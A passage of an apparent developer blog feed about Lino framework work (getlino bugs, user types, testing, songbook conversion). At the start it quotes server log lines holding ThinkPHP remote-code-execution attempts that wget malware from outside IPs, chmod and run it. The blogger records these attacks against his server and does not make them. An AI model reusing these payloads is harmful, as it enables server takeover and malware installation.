class="s2"&gt;app/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]=&amp;#39;wget%20http://142.44.251.105/x86%20-O&lt;/span&gt;&lt;span class="si"&gt;%20lo&lt;/span&gt;&lt;span class="s2"&gt;li;&lt;/span&gt;&lt;span class="si"&gt;%20c&lt;/span&gt;&lt;span class="s2"&gt;hmod&lt;/span&gt;&lt;span class="si"&gt;%20777%&lt;/span&gt;&lt;span class="s2"&gt;20loli;&lt;/span&gt;&lt;span class="si"&gt;%20lo&lt;/span&gt;&lt;span class="s2"&gt;li thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Liquor/1.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;37.202.91.219&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]= &amp;#39;wget http://157.245.182.3/sunless/sunless.x86 -O /tmp/.sunless; chmod 777 /tmp/.sunless; /tmp/.sunless thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;thinkphp/2.0&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1111.html</guid><pubDate>Mon, 11 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, November 9, 2019</title><link>https://luc.lino-framework.org/blog/2019/1109.html</link><description>&lt;section id="saturday-november-9-2019"&gt;
&lt;h1&gt;Saturday, November 9, 2019&lt;a class="headerlink" href="#saturday-november-9-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to review the Administrator Guide and discovered more problems in
getlino: the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script generated by &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; into
the shared virtualenv had no chance to work because it was still using the
project_dir.  No, the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script must be per &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#term-virtualenv" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;virtualenv&lt;/span&gt;&lt;/a&gt;,
not per site.&lt;/p&gt;
&lt;p&gt;Why does getlino have its own documentation tree?
Where should a reference to &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; link to?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1109.html</guid><pubDate>Sat, 09 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Friday, November 8, 2019</title><link>https://luc.lino-framework.org/blog/2019/1108.html</link><description>&lt;section id="friday-november-8-2019"&gt;
&lt;h1&gt;Friday, November 8, 2019&lt;a class="headerlink" href="#friday-november-8-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="new-ticket-instead-of-insert-into-all-tickets"&gt;
&lt;h2&gt;“New ticket” instead of “Insert into All Tickets”&lt;a class="headerlink" href="#new-ticket-instead-of-insert-into-all-tickets" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3327"&gt;#3327&lt;/a&gt;.
This was an unpaedagogic move because the ticket was introduced by newbie Amber who should have had the honour of working on it till the end.
But the idea is so good, and I couldn’t wait having this in Lino…
And we &lt;em&gt;would&lt;/em&gt; have to wait because there are a few more issues that I would have to explain to Amber:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Don’t break virtual tables where &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is None.
This is just a theoretic possibility, I didn’t yet find an example for it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don’t forget to translate this to German and French because the change is
quite visible and customers would complain otherwise. I have a feeling that
the translation should use &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;format_lazy()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The book test suite did &lt;em&gt;not&lt;/em&gt; fail after this change. Which means that the
code was not covered. The welfare suite however did fail. It’s nothing new
that the welfare test suite covers quite some functionalities which are not
covered by the book.  I added two of these tests to the book so that the
change is now covered (in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/households.html#lino-specs-households" title="(in Lino Developer Guide)"&gt;&lt;span&gt;households : Handling households and their members&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/avanti.html#avanti-specs-avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Clients in Lino Avanti&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is a list of the changes that were needed for this ticket:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2019-11-08 02:27 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/d4663aeb0c4bce54fca0408ed62842ee9fab54ea"&gt;fab54ea&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-08 02:27 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/747b6249e329aa5bef67ef7b92e5f0d2a9431172"&gt;9431172&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-08 02:27 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/welfare/commit/02216ebbfcc38453d35abad2e2a16647d8df8c87"&gt;8df8c87&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-08 02:30 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/453a5df31e12ef6df4844428c245a7930cc7248f"&gt;cc7248f&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="user-types-in-lino-noi"&gt;
&lt;h2&gt;User types in Lino Noi&lt;a class="headerlink" href="#user-types-in-lino-noi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis will start working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3313"&gt;#3313&lt;/a&gt; and &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3284"&gt;#3284&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We should start by reviewing the available user_types in Noi. They should be
named e.g. “Customer”, “Contributor”, “Trusted Worker”, “Site manager”. A
customer sees their own contact data but no other customers. A contributor
should not see any customer data and should not have permission to delete any
valuable data. A trusted worker can see all customers, triage tickets, see
overviews, write service reports, … and a site manager can additionally create
system users.&lt;/p&gt;
&lt;p&gt;I added some coverage in a new specs document &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/users.html#noi-specs-user" title="(in Lino Developer Guide)"&gt;&lt;span&gt;users in Noi&lt;/span&gt;&lt;/a&gt; (also moved
some sections from &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/general.html#noi-specs-general" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi Overview&lt;/span&gt;&lt;/a&gt; to this new page).  These pages will
change of course after Tonis’ work.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-new-volunteer-contributor"&gt;
&lt;h2&gt;A new volunteer contributor&lt;a class="headerlink" href="#a-new-volunteer-contributor" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It is possible that we will get yet another volunteer contributor for Lino:
Khaled from Tunisia.&lt;/p&gt;
&lt;p&gt;I asked him to work through &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; and reviewed it at this occasion, adding
a general paragraph:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;This website is meant to be read like a book, in sequence. Use the “next” and
“previous” links for navigation.  Feel free to jump to linked pages, but don’t
get lost into details. The Lino Book should be interesting and understandable
for any motivated Python developer with at least basic knowledge.  But it is
only &lt;strong&gt;work in progress&lt;/strong&gt; and we count on you as a reader to help us. Please
let us know whenever you stumble over a section that does not satisfy the goal
of this book.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
&lt;section id="trying-the-chatter-project"&gt;
&lt;h2&gt;Trying the Chatter project&lt;a class="headerlink" href="#trying-the-chatter-project" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Amber discovered that the &lt;a class="reference external" href="https://dev.lino-framework.org/projects/chatter.html#module-lino_book.projects.chatter" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.chatter&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; requires a
redis-server to be running.  I updated the instructions in &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#dev-install" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I then tried to install redis-server as instructed. But oops:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ getlino configure --clone --devtools --redis
...
File &amp;quot;/home/luc/work/getlino/getlino/configure.py&amp;quot;, line 276, in configure
NameError: name &amp;#39;context&amp;#39; is not defined
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When redis-server is installed and you sign in, you get:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;unsupported&lt;/span&gt; &lt;span class="n"&gt;operand&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;datetime.datetime&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was an unknown bug in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Fixed.&lt;/p&gt;
&lt;p&gt;TODO: The chatter project is underdocumented. Maybe a screen cast would
be nice.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1108.html</guid><pubDate>Fri, 08 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, November 7, 2019</title><link>https://luc.lino-framework.org/blog/2019/1107.html</link><description>&lt;section id="thursday-november-7-2019"&gt;
&lt;h1&gt;Thursday, November 7, 2019&lt;a class="headerlink" href="#thursday-november-7-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I probably fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1234"&gt;#1234&lt;/a&gt;
(&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.addresses.Addressable.get_primary_address()&lt;/span&gt;&lt;/code&gt; fails when
MultipleObjectsReturned), but didn’t yet manage to reproduce it in a test case.
The case occurred on the weleup production server.&lt;/p&gt;
&lt;section id="building-the-book-offline"&gt;
&lt;h2&gt;Building the book offline&lt;a class="headerlink" href="#building-the-book-offline" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday I was several hours offline and tried to build the book. But oops,
that failed because the intersphinx links to the Community Guide (&lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;)
work only via internet.  Indeed when building the book on travis or readthedocs
it is the normal approach to load intersphinx links from the
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;objects.inv&lt;/span&gt;&lt;/code&gt; of the currently published version. For intersphinx links
to Python modules we can get the &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-intersphinx_urls" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_urls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, but &lt;cite&gt;cg&lt;/cite&gt; has no
Python module.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Added a new function &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.projects.html#atelier.projects.get_project_from_nickname" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.projects.get_project_from_nickname()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.interproject.html#rstgen.sphinxconf.interproject.configure" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.interproject.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now supports intersphinx links
to pure documentation projects.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="getlino-and-certbot"&gt;
&lt;h2&gt;Getlino and certbot&lt;a class="headerlink" href="#getlino-and-certbot" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I saw that the &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt; option was appending directly to
the main &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/crontab&lt;/span&gt;&lt;/code&gt; file. I fixed this quickly.
I also saw that getlino doesn’t install certbot as explained &lt;a class="reference external" href="https://certbot.eff.org/lets-encrypt/debianbuster-nginx"&gt;on their&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="organizing-the-getlino-test-suite"&gt;
&lt;h2&gt;Organizing the getlino test suite&lt;a class="headerlink" href="#organizing-the-getlino-test-suite" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday before going offline I had a hangout with Hamza about how to organize
the test suite for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;.  We had to interrupt our session and now I am
still thinking about the topic.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;How To Achieve Practical End-to-End Testing With Docker Compose
&lt;a class="reference external" href="https://runnable.com/blog/how-to-achieve-practical-end-to-end-testing"&gt;https://runnable.com/blog/how-to-achieve-practical-end-to-end-testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Docker Hub can automatically test changes to your source code repositories using containers.
&lt;a class="reference external" href="https://docs.docker.com/docker-hub/builds/automated-testing/"&gt;https://docs.docker.com/docker-hub/builds/automated-testing/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Coverage will be another fun topic:
&lt;a class="reference external" href="https://docs.codecov.io/docs/testing-with-docker"&gt;https://docs.codecov.io/docs/testing-with-docker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://clatter.readthedocs.io/en/latest/readme.html"&gt;Clatter&lt;/a&gt; does the
same as &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.sheller.html#module-atelier.sheller" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.sheller&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Advantage of Clatter is that it detects bash
code blocks, which means that the result is more beautiful.  Disadvantage is
that we would need another loop over all the doc files, and another
dependency.  I see no need to switch to it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="ovh-public-cloud-vps-was-slow-for-a-whole-day"&gt;
&lt;h2&gt;OVH public cloud VPS was slow for a whole day&lt;a class="headerlink" href="#ovh-public-cloud-vps-was-slow-for-a-whole-day" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today we could not really use &lt;a class="reference internal" href="../../about/friends.html#jane"&gt;&lt;span class="std std-ref"&gt;Jane&lt;/span&gt;&lt;/a&gt; because she was so slow. We had a lot
of fun for trying to understand what it is.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://travaux.ovh.net/"&gt;http://travaux.ovh.net/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://status.ovh.com/"&gt;http://status.ovh.com/&lt;/a&gt;&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;cd /mnt/disk/
sudo dd if=/dev/zero of=diskbench bs=1M count=1024 conv=fdatasync
sudo dd if=diskbench of=/dev/null bs=1M count=1024
sudo dd if=/dev/zero bs=1M count=1024 | md5sum
sudo rm diskbench&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1107.html</guid><pubDate>Thu, 07 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 6, 2019</title><link>https://luc.lino-framework.org/blog/2019/1106.html</link><description>&lt;section id="wednesday-november-6-2019"&gt;
&lt;h1&gt;Wednesday, November 6, 2019&lt;a class="headerlink" href="#wednesday-november-6-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked in the &lt;a class="reference external" href="https://hosting.lino-framework.org/#lino-admin" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-ref"&gt;Administrator Guide&lt;/span&gt;&lt;/a&gt; and discovered that
getlino does not yet work with a shared database user. I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3329"&gt;#3329&lt;/a&gt;.
Side effect is that DB_ENGINES are no longer named tuples but real objects with
methods.&lt;/p&gt;
&lt;p&gt;Now when I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;, I get:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/bin/sh -c sudo -H getlino configure --batch --db-engine postgresql --db-port 5432 &amp;amp;&amp;amp; sudo -H getlino startsite --batch noi mysite1 --dev-repos &amp;quot;lino noi xl&amp;quot;&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;returned&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that  Lino’s &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-install" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command cannot install the Python package
required by the database engine. This is explicitly done by &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;
&lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  But if you run &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; with a given database
engine  and then manually change the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/settings.html#setting-DATABASES" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;DATABASES&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting of your site,
you must yourself care about installing the corresponding Python package.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1106.html</guid><pubDate>Wed, 06 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, November 3, 2019</title><link>https://luc.lino-framework.org/blog/2019/1103.html</link><description>&lt;section id="sunday-november-3-2019"&gt;
&lt;h1&gt;Sunday, November 3, 2019&lt;a class="headerlink" href="#sunday-november-3-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I restarted working on the songbook project.  First step is to convert it to
Python 3. I also want it to get rid of timtools.&lt;/p&gt;
&lt;p&gt;How to play midi files:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get freepats install timidity timidity-interfaces-extra
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="http://lilypond.org/"&gt;http://lilypond.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;lilypond-book: warning: Unable to auto-detect default settings:&lt;/p&gt;
&lt;p&gt;–&amp;gt; sudo apt install texlive-xetex&lt;/p&gt;
&lt;p&gt;20091128.lytex:2371:1: error: syntax error, unexpected SCM_TOKEN&lt;/p&gt;
&lt;p&gt;Here:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;#(override-auto-beam-setting &amp;#39;(end * * * *) 1 4)&lt;/span&gt;
&lt;span class="mf"&gt;20091128.&lt;/span&gt;&lt;span class="n"&gt;lytex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2371&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GUILE&lt;/span&gt; &lt;span class="n"&gt;signaled&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt; &lt;span class="n"&gt;beginning&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;beam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;(end * * * *) 1 4)&lt;/span&gt;
&lt;span class="n"&gt;Unbound&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;beam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setting&lt;/span&gt;
&lt;span class="mf"&gt;20091128.&lt;/span&gt;&lt;span class="n"&gt;lytex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2372&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GUILE&lt;/span&gt; &lt;span class="n"&gt;signaled&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt; &lt;span class="n"&gt;beginning&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
